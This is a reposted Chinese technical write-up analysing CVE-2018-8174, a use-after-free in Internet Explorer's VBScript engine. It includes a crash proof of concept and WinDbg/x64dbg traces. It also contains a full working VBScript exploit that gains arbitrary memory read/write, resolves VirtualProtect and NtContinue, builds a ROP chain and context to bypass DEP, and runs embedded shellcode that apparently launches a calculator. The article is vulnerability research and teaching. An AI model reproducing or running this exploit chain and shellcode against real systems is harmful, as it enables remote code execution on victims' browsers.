美文网首页网络安全
CVE-2018-8174 “双杀”0day 从UAF到Expl

CVE-2018-8174 “双杀”0day 从UAF到Expl

作者: 看雪学院 | 来源:发表于2019-01-03 17:57 被阅读20次


    前言

    这个漏洞是由于VBS脚本引擎在处理Class对象时存在释放后重用导致的,原始利用样本中的VBS代码有一定的混淆,主要是针对函数名和变量名以及常量,在经过本人还原后觉得这个漏洞还是比较有趣的,所以拿出来分享给大家一起学习。

    实验环境

    操作系统:Windows 7 sp1 32位

    浏览器:IE11.0.9600.17843

    调试器: IDA、windbg、x64dbg

    原始Exploit样本: https://www.exploit-db.com/exploits/44741

    漏洞分析

    1.POC代码 

    <!doctype html>

    Dim gNumber

    Dim arrayA(6),arrayB(6)

    Dim index

    Dim gArray(40)

    Dim hexA, hexB

    Dim address

    Dim memClassA

    Dim classGetPA

    hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

    hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

    address = 0

    index = 0

    Class claA

    Private Sub Class_Terminate()

    Set arrayA(index) = gNumber(1)

    index = index + 1

    gNumber(1) = 1

    End Sub

    End Class

    Class testClass

    End Class

    Class memClass

    Dim mem

    Function P

    End Function

    Function SetProp(Value)

    mem = Value

    SetProp = 0

    End Function

    End Class

    Class readMemClass

    Dim mem

    Function P0123456789

    P0123456789 = LenB(mem(address+8))

    End Function

    Function SPP

    End Function

    End Class

    Class swapObject

    Public Default Property Get P

    Dim object

    P = 174088534690791e-324

    For i = 0 To 6

    arrayA(i) = 0

    Next

    Set object = New readMemClass

    object.mem = hexA

    For i = 0 To 6

    Set arrayA(i) = object

    Next

    End Property

    End Class

    Sub UAF

    For i = 0 To &h11

    Set gArray(i) = New testClass

    Next

    For i = &h14 To &h26

    Set gArray(i) = New memClass

    Next

    Msgbox "Create claA"

    index = 0

    For i = 0 To 6

    ReDim gNumber(1)

    Set gNumber(1) = New claA

    Erase gNumber

    Next

    Set memClassA = New memClass

    End Sub

    Sub InitObjects

    memClassA.SetProp(swapObjA)

    End Sub

    Sub StartExploit

    UAF

    InitObjects

    End Sub

    Set swapObjA = New swapObject

    StartExploit

    2.windbg开启堆调试支持 

    打开cmd输入gflags.exe /i iexplore.exe +hpa

    3.运行POC用windbg捕获异常信息

    3.1 崩溃时寄存器信息:

    eax=06b0bfd0 ebx=6b770e50 ecx=00000009 edx=00000009 esi=0a04cf90 edi=00000009

    eip=753e4971 esp=0585a558 ebp=0585a560 iopl=0 nv up ei pl nz na po nc

    cs=001b  ss=0023 ds=0023 es=0023 fs=003b  gs=0000 efl=00010202

    3.2 崩溃EIP处信息:

    753e4953 83f809          cmp     eax,9

    753e4956 7430 je      OLEAUT32!VariantCopy+0x154 (753e4988)

    753e4958 83f80d          cmp     eax,0Dh

    753e495b 742b je      OLEAUT32!VariantCopy+0x154 (753e4988)

    753e495d 33c0xor eax,eax

    753e495f 5b pop ebx

    753e4960 5f pop edi

    753e4961 5e pop esi

    753e4962 c9              leave

    753e4963 c20800ret  8

    753e4966 8b4608          mov     eax,dword ptr [esi+8]

    753e4969 85c0            test    eax,eax

    753e496b 0f8454f5ffff    je      OLEAUT32!VariantClear+0xc3 (753e3ec5)

    753e4971 8b08            mov     ecx,dword ptr [eax]  ds:0023:068d5fd0=????????

    3.3 EAX指向内存信息:

    0:008> dd eax

    06b0bfd0  ???????? ???????? ???????? ????????

    06b0bfe0  ???????? ???????? ???????? ????????

    3.4 EAX上次内存管理信息:

    0:008> !heap -p -a eax

    address 068d5fd0 found in

    _DPH_HEAP_ROOT @ 6c1000

    in free-ed allocation (DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

    6812d34:68d5000 2000

    710190b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    76e866ac ntdll!RtlDebugFreeHeap+0x0000002f

    76e4a13e ntdll!RtlpFreeHeap+0x0000005d

    76e165a6 ntdll!RtlFreeHeap+0x00000142

    756a98cd msvcrt!free+0x000000cd

    729a717a vbscript!VBScriptClass::`scalar deleting destructor'+0x0000001a

    729a71fd vbscript!VBScriptClass::Release+0x00000053

    753e4977 OLEAUT32!VariantClear+0x000000b9

    753fe325 OLEAUT32!ReleaseResources+0x000000a3

    753fdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048

    75405d2d OLEAUT32!SafeArrayDestroyData+0x0000000f

    75405d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039

    729f52d0 vbscript!VbsErase+0x00000050

    72994787 vbscript!StaticEntryPoint::Call+0x0000002f

    729957cb vbscript!CScriptRuntime::RunNoEH+0x00001d74

    7299526e vbscript!CScriptRuntime::Run+0x000000c3

    3.5 崩溃时堆栈信息:

    0:007> kv

    ChildEBP RetAddr  Args to Child

    04a3ac30 6ed91afa 086fef90 077f8dd0 086fef90 OLEAUT32!VariantClear+0xb3 (FPO: [Non-Fpo])

    04a3ac4c 6e6121b0 086fef90 077f8dd0 086fef90 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d (FPO: [Non-Fpo])

    04a3ac68 6e613014 09e48f04 00000010 04a3af50 vbscript!VAR::Clear+0x2d (FPO: [Non-Fpo])

    04a3aca0 6e6276b0 077f8dd0 00000001 05bb9e00 vbscript!AssignVar+0x96 (FPO: [Non-Fpo])

    04a3aee4 6e61526e 04a3b070 ae1e0428 077f8e50 vbscript!CScriptRuntime::RunNoEH+0x2440 (FPO: [Non-Fpo])

     4.总结windbg异常信息

    从寄存器信息中获得崩溃时EIP = 0x753e4971 ,从对应EIP处观察出EAX指向的内存已被释放,通过查看 上次内存管理发现EAX指向的是一个VBScriptClass,只有脚本中的Class被实例化时VBS脚本引擎才会创建一个对应的VBScriptClass对象,再通过观察堆栈信息可以确定是AssignVar函数分配变量的时候崩溃的,那么现在已经可以确定是类被释放掉后还存在引用导致的。

    5. x64dbg调试分析

    5.1 下载符号表

    运行POC等待弹框后附加进程,下载符号表

    5.2 对关键函数下断点

    符号表下载完成后重新运行POC, 等待弹框后附加进程 ,对VBScriptClass::Create、VBScriptClass::~VBScriptClass下断,每当脚本中New一个Class的时候脚本引擎都会调用VBScriptClass::Create函数去创建一个VBScriptClass类,VBScriptClass::~VBScriptClass函数则是类的析构。

    5.3 记录类的申请与释放

    点掉弹框后会通过VBS引擎中的 VBScriptClass::Create 连续6次申请claA对象。

    单步到0x6ED09C9C,拿到申请的对象内存地址0x0528AFD0。

    F9直接运行后断到引擎中类的释放函数VBScriptClass::~VBScriptClass, 观察ECX对象指针为0x0528AFD0,也就是说刚刚申请的对象这下又要被释放了。

    这时候需要注意的是在claA对象的释放时,会触发Terminate事件,通过观察脚本代码可以看出来,在事件进行时gNumber(1)中存储了claA对象,在生命周期结束前,又把对象放入了arrayA(index),所以就算对象释放了,arrayA(index)还是残留了 claA的引用。

    F8到ret后再次观察类的内存布局,发现很多数据已经被释放掉了。

    5.4 观察崩溃处信息

    Control+B打开断点文档,用空格暂时屏蔽类的创建与析构函数断点。

    F9直接运行到崩溃点,可以看到VARIANT结构中的0x0528AFD0是上面释放的claA对象地址,观察下图可以很清晰的看到,是释放后的对象被重用了,关于VARIANT结构会在后面进行介绍。

    再次回到VBS脚本代码,可以看到在swapObject对象中,又对arrayA这个数组进行了赋值,而此时在数组中存储的是claA对象,对数组内数据赋值为0本来是不会有问题的,问题在于VBS脚本引擎使用AssignVar函数对变量赋值时,在赋值之前还会检查原来存储的数据是不是一个对象,如果是一个对象还会调用VBScriptClass::Release函数去减少对象的引用计数,也就是在调用VBScriptClass::Release函数准备去减少引用计数的时候发生了内存访问异常,导致了崩溃。

    VBScriptClass::Release函数:

    6. x64dbg调试分析总结

    在VBScriptClass::Create函数中创建名为claA的对象,因为删除数组而减少引用计数引发VBScriptClass::~VBScriptClass函数释放claA对象,在释放时触发Terminate事件,在事件进行中将claA对象存在了arrayA这个数组中, 而后又对arrayA这个数组进行了填入0 ,由于填入0之前检查了其中存入的是一个VBS脚本对象,所以需要减少引用计数,但是对象已经被释放掉了,虚表的内存不可访问了,虚表不能访问自然就崩溃了。

    漏洞利用

    1.必备数据结构

    在利用前还需要对VARIANT这个结构有所了解,因为VBS脚本引擎存储数据时,默认使用VARIANT结构,vt字段描述了数据的类型,wReserved1 - wReserved3保留, 变量数据 存储在联合体中。

    struct tagVARIANT {

     union {

     struct __tagVARIANT {

    VARTYPE vt;

    WORD     wReserved1;

    WORD     wReserved2;

    WORD     wReserved3;

     union {

    ULONGLONG      ullVal;/* VT_UI8                */

    LONGLONG       llVal; /* VT_I8                 */

    LONG           lVal;/* VT_I4                 */

    BYTE           bVal;/* VT_UI1                */

    SHORT          iVal;/* VT_I2                 */

    FLOAT          fltVal;/* VT_R4                 */

    DOUBLE         dblVal;/* VT_R8                 */

    VARIANT_BOOL   boolVal; /* VT_BOOL               */

    _VARIANT_BOOL bool;/* (obsolete)            */

    SCODE          scode; /* VT_ERROR              */

    CY             cyVal; /* VT_CY                 */

    DATE           date;/* VT_DATE               */

    BSTR           bstrVal; /* VT_BSTR               */

    IUnknown *     punkVal; /* VT_UNKNOWN            */

    IDispatch *    pdispVal;/* VT_DISPATCH           */

    SAFEARRAY *    parray;/* VT_ARRAY              */

    BYTE *         pbVal; /* VT_BYREF|VT_UI1       */

    SHORT *        piVal; /* VT_BYREF|VT_I2        */

    LONG *         plVal; /* VT_BYREF|VT_I4        */

    LONGLONG *     pllVal;/* VT_BYREF|VT_I8        */

    FLOAT *        pfltVal; /* VT_BYREF|VT_R4        */

    DOUBLE *       pdblVal; /* VT_BYREF|VT_R8        */

    VARIANT_BOOL *pboolVal;/* VT_BYREF|VT_BOOL      */

    _VARIANT_BOOL *pbool;/* (obsolete)            */

    SCODE *        pscode;/* VT_BYREF|VT_ERROR     */

    CY *           pcyVal;/* VT_BYREF|VT_CY        */

    DATE *         pdate; /* VT_BYREF|VT_DATE      */

    BSTR *         pbstrVal;/* VT_BYREF|VT_BSTR      */

    IUnknown **    ppunkVal;/* VT_BYREF|VT_UNKNOWN   */

    IDispatch **   ppdispVal; /* VT_BYREF|VT_DISPATCH */

    SAFEARRAY **   pparray; /* VT_BYREF|VT_ARRAY     */

    VARIANT *      pvarVal; /* VT_BYREF|VT_VARIANT   */

    PVOID          byref; /* Generic ByRef         */

    CHAR           cVal;/* VT_I1                 */

    USHORT         uiVal; /* VT_UI2                */

    ULONG          ulVal; /* VT_UI4                */

    INT            intVal;/* VT_INT                */

    UINT           uintVal; /* VT_UINT               */

    DECIMAL *      pdecVal; /* VT_BYREF|VT_DECIMAL   */

    CHAR *         pcVal; /* VT_BYREF|VT_I1        */

    USHORT *       puiVal;/* VT_BYREF|VT_UI2       */

    ULONG *        pulVal;/* VT_BYREF|VT_UI4       */

    ULONGLONG *    pullVal; /* VT_BYREF|VT_UI8       */

    INT *          pintVal; /* VT_BYREF|VT_INT       */

    UINT *         puintVal;/* VT_BYREF|VT_UINT      */

     struct __tagBRECORD {

    PVOID          pvRecord;

    IRecordInfo * pRecInfo;

    } __VARIANT_NAME_4;/* VT_RECORD             */

    } __VARIANT_NAME_3;

    } __VARIANT_NAME_2;

    DECIMAL decVal;

    } __VARIANT_NAME_1;

    };

    以下是vt字段的枚举类型:

    enum VARENUM

    {

    VT_EMPTY    = 0,

    VT_NULL = 1,

    VT_I2   = 2,

    VT_I4   = 3,

    VT_R4   = 4,

    VT_R8   = 5,

    VT_CY   = 6,

    VT_DATE = 7,

    VT_BSTR = 8,

    VT_DISPATCH = 9,

    VT_ERROR    = 10,

    VT_BOOL = 11,

    VT_VARIANT  = 12,

    VT_UNKNOWN  = 13,

    VT_DECIMAL  = 14,

    VT_I1   = 16,

    VT_UI1  = 17,

    VT_UI2  = 18,

    VT_UI4  = 19,

    VT_I8   = 20,

    VT_UI8  = 21,

    VT_INT  = 22,

    VT_UINT = 23,

    VT_VOID = 24,

    VT_HRESULT  = 25,

    VT_PTR  = 26,

    VT_SAFEARRAY    = 27,

    VT_CARRAY   = 28,

    VT_USERDEFINED  = 29,

    VT_LPSTR    = 30,

    VT_LPWSTR   = 31,

    VT_RECORD   = 36,

    VT_INT_PTR  = 37,

    VT_UINT_PTR = 38,

    VT_FILETIME = 64,

    VT_BLOB = 65,

    VT_STREAM   = 66,

    VT_STORAGE  = 67,

    VT_STREAMED_OBJECT  = 68,

    VT_STORED_OBJECT    = 69,

    VT_BLOB_OBJECT  = 70,

    VT_CF   = 71,

    VT_CLSID    = 72,

    VT_VERSIONED_STREAM = 73,

    VT_BSTR_BLOB    = 0xfff,

    VT_VECTOR   = 0x1000,

    VT_ARRAY    = 0x2000,

    VT_BYREF    = 0x4000,

    VT_RESERVED = 0x8000,

    VT_ILLEGAL  = 0xffff,

    VT_ILLEGALMASKED    = 0xfff,

    VT_TYPEMASK = 0xfff

    } ;

    2.完整利用POC

    <!doctype html>

    Dim gNumber

    Dim arrayA(6),arrayB(6)

    Dim index

    Dim gArray(40)

    Dim hexA, hexB

    Dim address

    Dim memClassA,memClassB

    Dim swapA,swapB

    Dim NtContinueAddr,VirtualProtectAddr

    hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

    hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

    address = 0

    index = 0

    Function GetUint32(Addr)

    Dim value

    memClassA.mem(address + 8) = Addr + 4

    memClassA.mem(address) = 8                'type string

    value = memClassA.P0123456789

    memClassA.mem(address) = 2

    GetUint32 = value

    End Function

    Function readWord(addr)

    readWord = GetUint32(addr) And 65535

    End Function

    Function readByte(addr)

    readByte = GetUint32(addr) And (&hFF)

    End Function

    Function GetBaseByDOSmodeSearch(in_addr)

    Dim addr

    addr = in_addr And &hFFFF0000

    Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44

    addr = addr-&h10000

    Loop

    GetBaseByDOSmodeSearch = addr

    End Function

    Function StrCompWrapper(addr, szName)

    Dim str,i

    str = ""

    For i = 0 To Len(szName) - 1

    str = str & Chr(readByte(addr+i))

    Next

    StrCompWrapper = StrComp(UCase(str), UCase(szName))

    End Function

    'base_address 模块基址   name_input输入的模块名

    Function GetBaseFromImport(base_address,name_input)

    Dim import_rva,nt_header,descriptor,import_dir

    Dim addr

    '从PE读取nt_header

    nt_header = GetUint32(base_address + (&h3c))

    '读取导入表偏移

    import_rva = GetUint32(base_address + nt_header + &h80)

    '计算出导入表地址

    import_dir = base_address + import_rva

    descriptor = 0

    Do While True

    Dim NameOffset

    NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)

    If NameOffset = 0 Then

    GetBaseFromImport = &hBAAD0000

    Exit Function

    Else

    If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then

    Exit Do

    End If

    End If

    descriptor = descriptor+1

    Loop

    '随便取一个导入函数的地址

    addr = GetUint32(import_dir + descriptor * (&h14)+&h10)

    addr = GetUint32(base_address + addr)

    '老套路获取模块基址

    GetBaseFromImport = GetBaseByDOSmodeSearch(addr)

    End Function

    Function GetProcAddr(dll_base,name)

    Dim p, export_dir, index

    Dim function_rvas, function_names, function_ordin

    Dim Ordin

    p = GetUint32(dll_base + &h3c)

    p = GetUint32(dll_base + p + &h78)

    export_dir = dll_base + p

    function_rvas = dll_base + GetUint32(export_dir + &h1c)

    function_names = dll_base + GetUint32(export_dir + &h20)

    function_ordin = dll_base + GetUint32(export_dir + &h24)

    index = 0

    Do While True

    Dim offset

    offset = GetUint32(function_names + index * 4)

    If StrCompWrapper(dll_base + offset, name) = 0 Then

    Exit Do

    End If

    index = index+1

    Loop

    Ordin = readWord(function_ordin + index * 2)

    p = GetUint32(function_rvas + Ordin * 4)

    GetProcAddr = dll_base + p

    End Function

    Function GetShellcode()

    hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")

    GetShellcode = hexCode

    End Function

    Function BuildVirtualTable

    Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24

    szNtContinueAddr = NumberToString(NtContinueAddr, 8)

    szAddr0 = Mid(szNtContinueAddr,1,2)

    szAddr8 = Mid(szNtContinueAddr,3,2)

    szAddr16 = Mid(szNtContinueAddr,5,2)

    szAddr24 = Mid(szNtContinueAddr,7,2)

    str = ""

    str = str & "%u0000%u" &szAddr24 &"00"

    For i = 1 To 3

    str = str & "%u" &szAddr8 &szAddr16

    str = str & "%u" &szAddr24 &szAddr0

    Next

    str = str & "%u" & szAddr8 & szAddr16

    str = str & "%u00" & szAddr0

    BuildVirtualTable = Unescape(str)

    End Function

    Function NumberToString(ByVal Number, ByVal Length)

    hNumber = Hex(Number)

    If Len(hNumber) < Length Then

    hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros

    Else

    hNumber = Right(hNumber, Length)

    End If

    NumberToString = hNumber

    End Function

    Function EscapeAddress(ByVal value)

    Dim High,Low

    High = NumberToString((value And &hFFFF0000) / &h10000, 4)

    Low = NumberToString(value And &hFFFF, 4)

    EscapeAddress = Unescape("%u"&Low&"%u"&High)

    End Function

    Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

    Dim ropChain

    'pad1 0 - 10FDC

    ropChain = String(34798, Unescape("%u4141"))

    'rop chain

    ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

    ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

    ropChain = ropChain & EscapeAddress(&h3000)

    ropChain = ropChain & EscapeAddress(&h40)

    ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)

    ropChain = ropChain & String(6, Unescape("%u4242"))

    '构建攻击所需的虚表

    ropChain = ropChain & BuildVirtualTable()

    'pad2 

    ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))

    WrapShellcodeWithNtContinueContext = ropChain

    End Function

    Function ExpandWithVirtualProtect(ropAddr)

    Dim szContext

    Dim Addr

    '0 - 10FDC

    Addr = ropAddr + &h23

    szContext = ""

    szContext = szContext & EscapeAddress(Addr)

    szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))

    szContext = szContext & EscapeAddress(VirtualProtectAddr)

    szContext = szContext & EscapeAddress(&h1b)

    szContext = szContext & EscapeAddress(0)

    szContext = szContext & EscapeAddress(ropAddr)

    szContext = szContext & EscapeAddress(&h23)

    szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))

    ExpandWithVirtualProtect = szContext

    End Function

    Sub ExecuteShellcode

    '把类型改成0x4D

    memClassA.mem(address) = &h4d

    Msgbox "ExecuteShellcode"

    memClassA.mem(address + 8) = 0

    End Sub

    Class claA

    Private Sub Class_Terminate()

    Msgbox "Set arrayA"

    Set arrayA(index) = gNumber(1)

    index = index + 1

    gNumber(1) = 1

    End Sub

    End Class

    Class claB

    Private Sub Class_Terminate()

    Set arrayB(index)=gNumber(1)

    index=index+1

    gNumber(1)=1

    End Sub

    End Class

    Class testClass

    End Class

    Class memClass

    Dim mem

    Function P

    End Function

    Function SetProp(Value)

     Msgbox "SetProp"

    mem = Value

    Msgbox "SetProp = 0"

    SetProp = 0

    End Function

    End Class

    Class readMemClass

    Dim mem

    Function P0123456789

    P0123456789 = LenB(mem(address+8))

    End Function

    Function SPP

    End Function

    End Class

    Class swapObjectA

    Public Default Property Get P

    Dim object

    P = 174088534690791e-324

    For i = 0 To 6

    arrayA(i) = 0

    Next

    Set object = New readMemClass

    Msgbox "object.mem = hexA"

    object.mem = hexA

    For i = 0 To 6

    Set arrayA(i) = object

    Next

    End Property

    End Class

    Class swapObjectB

    Public Default Property Get P

    Dim object

    P=636598737289582e-328

    For i = 0 To 6

    arrayB(i) = 0

    Next

    Set object = New readMemClass

    object.mem = hexB

    For i = 0 To 6

    Set arrayB(i) = object

    Next

    End Property

    End Class

    Set swapA = New swapObjectA

    Set swapB = New swapObjectB

    Sub UAF

    For i = 0 To &h11

    Set gArray(i) = New testClass

    Next

    For i = &h14 To &h26

    Set gArray(i) = New memClass

    Next

    index = 0

    For i = 0 To 6

    ReDim gNumber(1)

    Set gNumber(1) = New claA

    Erase gNumber

    Next

    Set memClassA = New memClass

    arrayB(0) = 0

    index = 0

    For i = 0 To 6

    ReDim gNumber(1)

    Set gNumber(1) = New claB

    Erase gNumber

    Next

    Set memClassB = New memClass

    End Sub

    Sub InitObjects

    Msgbox "InitObjects"

    memClassA.SetProp(swapA)

    'memClassA现在的类型是readMemClass 

    memClassB.SetProp(swapB)

    'memClassB现在的类型是readMemClass 

    address = memClassB.mem

    End Sub

    Sub testSub

    End Sub

    Function GetMemValue

    memClassA.mem(address) = 3

    GetMemValue = memClassA.mem(address + 8)

    End Function

    Sub SetMemValue(ByRef in_Ref)

    memClassA.mem(address + 8) = in_Ref

    End Sub

    Function LeakVBAddr

    On Error Resume Next

    Dim pCScriptEntryPointObject

    pCScriptEntryPointObject = testSub

    pCScriptEntryPointObject = null

    SetMemValue pCScriptEntryPointObject

    LeakVBAddr = GetMemValue()

    End Function

    Sub StartExploit

    UAF

    InitObjects

    pCScriptEntryPointObject = LeakVBAddr()

    pVTable = GetUint32(pCScriptEntryPointObject)

    'Msgbox "CScriptEntryPointObject Leak: 0x" & Hex(pCScriptEntryPointObject)

    'Msgbox "pVTable Leak: 0x" & Hex(pVTable)

    vbs_base = GetBaseByDOSmodeSearch(pVTable)

    '从PE搜索对应模块的导入表 获取其他模块基址

    msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")

    krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")

    ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")

    VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")

    NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")

    'Msgbox "VirtualProtectAddr: 0x" & Hex(VirtualProtectAddr)

    'Msgbox "NtContinueAddr: 0x" & Hex(NtContinueAddr)

    SetMemValue GetShellcode()

    ShellcodeAddr = GetMemValue() + 8

    'WrapShellcodeWithNtContinueContext 构建ROP

    SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

    ropAddr = GetMemValue() + 69596

    'ExpandWithVirtualProtect 构建CONTEXT

    SetMemValue ExpandWithVirtualProtect(ropAddr)

    GetMemValue()

    ExecuteShellcode

    End Sub

    StartExploit

    3. windbg关闭堆调试支持 

    打开cmd输入gflags.exe /i iexplore.exe -hpa

    4. x64dbg分析Class占位

    4.1 对关键函数下断

    运行POC,等待弹框后附加进程 ,对VBScriptClass::Create、VBScriptClass::~VBScriptClass、AssignVar下断:

    4.2 Class占位分析

    点掉“Set arrayA”的弹框后,第一次断到AssignVar处,此时正要把claA对象写入arrayA(0)中,通过观察输入的VARIANT结构发现其中存储的是一个VARIANT*类型的指针, 指针数值为0x02848E18,同时记录 arrayA(0) 的地址是0x03AD2FD8。

    VARIANT*指针指向的是一个类型为IDispatch*的VARIANT结构,在VBS脚本引擎中,IDispatch* 就是Class类型。

    再看看VBScriptClass结构信息,在这里需要说明一点,VBS脚本代码里所有通过Class关键字实例化的对象在引擎中都是用VBScriptClass结构来存储的。

    F9到VBScriptClass::~VBScriptClass函数,发现此时被释放的对象正是存在arrayA(0)中的对象,对象地址为0x027DB0C0。

    再F9到VBScriptClass::Create,发现再次申请的对象内存地址和上次被释放的对象内存地址一摸一样,都是0x027DB0C0,也就是说明被新对象占位了。

    4.3 memClass占位

    在申请完6次claA对象,又释放了6次后,此时arrayA(0) - arrayA(6) 都指向了一个被释放的对象的内存地址,此时再次重新申请memClass对象, arrayA(0) - arrayA(6)  就指向了新申请的memClass。

    占位后 arrayA(0) 的内存布局如下:

    内存中的对象结构信息:

    4.4 swapObjectA类中再次占位

    此时 arrayA(0) - arrayA(6) 都存着memClass对象,对arrayA全部填入0后又导致了memClass的释放,释放后重新申请readMemClass对象进行占位。

    4.5 利用Class占位实现任意地址读写

    明白了上面占位的原理后,再次启动poc,等待弹出"SetProp"后附加进程,对AssignVar函数下断,拿到memClass的内存布局,memClass.mem的内存地址为0x01D37B30。

    F9运行等待弹出"object.mem = hexA"后,再次断AssignVar函数,拿到readMemClass的内存布局,readMemClass.mem的内存地址为0x01D37B3C。

    由于VAR这个结构是未知的,目前根据逆向发现偏移0x0处是VARIANT结构,偏移0x30处是一个不定长的名称字符串,在一路F8后,readMemClass.mem写入了hexA,可以看到数据类型为 BSTR。

    根据前面的分析memClass.mem的内存地址为0x01D37B30,readMemClass.mem的内存地址为0x01D37B3C,内存已经重叠,由于在SetProp函数中使用的是memClass的布局,所以在拿到Value的返回值对mem成员变量赋值时会产生覆盖,从而改变了readMemClass.mem的数据类型,当Value等于swapObjectA时,会将mem变量类型改为VARIANT*,Value等于swapObjectB时,会将变量类型改为Long。

    当执行完InitObjects函数时,memClassA和memClassB的类型都变成readMemClass,memClassA提供数据读写功能支持,memClassB用来传递读写的参数信息。

    5. 任意地址读写的利用

    5.1 获取 CScriptEntryPointObject 对象

    在LeakVBAddr函数中,先通过老套路获取CScriptEntryPointObject,又通过SetMemValue函数把pCScriptEntryPointObject写入address指向的内存,然后通过GetMemValue改变address中变量的类型为Long再拿出来,为什么要绕一大圈做这个事情呢,是因为pCScriptEntryPointObject属性为null,是不可读的,只有改为Long型,才能读取出4字节数据。

    5.2 获取 CScriptEntryPointObject 对象的虚表

    调用GetUint32读取目标地址的内存

    GetUint32 函数

    6. 通过对象虚表获取vbs模块基址

    7. 通过导入表获取其他模块基址

    8. 通过模块基址分析PE获取导出函数

    9. ROP构造

    10. 上下文构造

    11. 利用过程调试验证

    重新运行POC等待弹出"ExecuteShellcode"后 附加,对AssginVar函数下断,F8单步到调用Var::Clear处F7进入函数。

    数据类型判断,已经被故意构造成0x4D了。

    继续F8到此处,可以看到已经在访问精心构造的虚表了。

    对VirtualProtect下断后直接F9,断下来后可以看到此时ESP也指向了ROP链。

    一路F8后来到shellcode处。

    F9后计算器弹出。

    总结

    这个漏洞就是利用Class占位调整类中变量的属性从而获得了任意地址写入的能力, 然后通过CScriptEntryPoint获取VBS脚本引擎模块在内存中的基址,又通过分析VBS模块PE信息进而获取其他系统关键模块基址, 拿到系统关键模块基址就可以获取NtContinue、VirtualProtect绕过DEP了,值得学习的是最后攻击虚表去调用的ZwContinue改变线程上下文。

    原文作者:来杯柠檬红茶

    原文链接:https://bbs.pediy.com/thread-248477.htm

    转载请注明:转自看雪学院

    更多阅读:

    [原创]010Editor 9.0注册机算法分析和爆破版(免注册机版)

    [原创]一个Android壳简单实现

    一个简单的CrackMe破解

    [原创]硬件断点和原理与实现

    相关文章

      网友评论

        本文标题:CVE-2018-8174 “双杀”0day 从UAF到Expl

        本文链接:https://www.haomeiwen.com/subject/ulrqrqtx.html